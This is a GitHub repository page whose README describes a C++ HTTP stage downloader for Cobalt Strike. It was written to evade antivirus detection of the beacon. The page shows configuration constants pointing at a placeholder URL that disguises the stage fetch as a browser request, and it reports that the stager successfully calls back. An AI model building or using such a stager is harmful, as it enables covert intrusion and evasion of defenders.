Skip to content

cobaltstrike的http分阶段下载器 cpp版本;cobaltstrike stage downloader;

Notifications You must be signed in to change notification settings

fgfxf/HttpStageDownloader

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

HttpStageDownloader

cobaltstrike的http分阶段下载器 cpp版本 cobaltstrike stage downloader writed by cpp

参考视频:https://www.bilibili.com/video/BV1MA4y1Z7Uz/

cobalt strike的http beacon很容易被查杀,这里用wininet和winhttp写了个分阶段下载器。 代码里的
const WCHAR* szUrl = L"http://127.0.0.1/async/Newtab_promos";
const WCHAR* szDomain = L"127.0.0.1";
const WCHAR* szUrlPath = L"/async/Newtab_promos";
const char* szFileName = "stage.bin";
自己根据profile文件进行修改.




可以正常上线,但是有黑框

About

cobaltstrike的http分阶段下载器 cpp版本;cobaltstrike stage downloader;

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages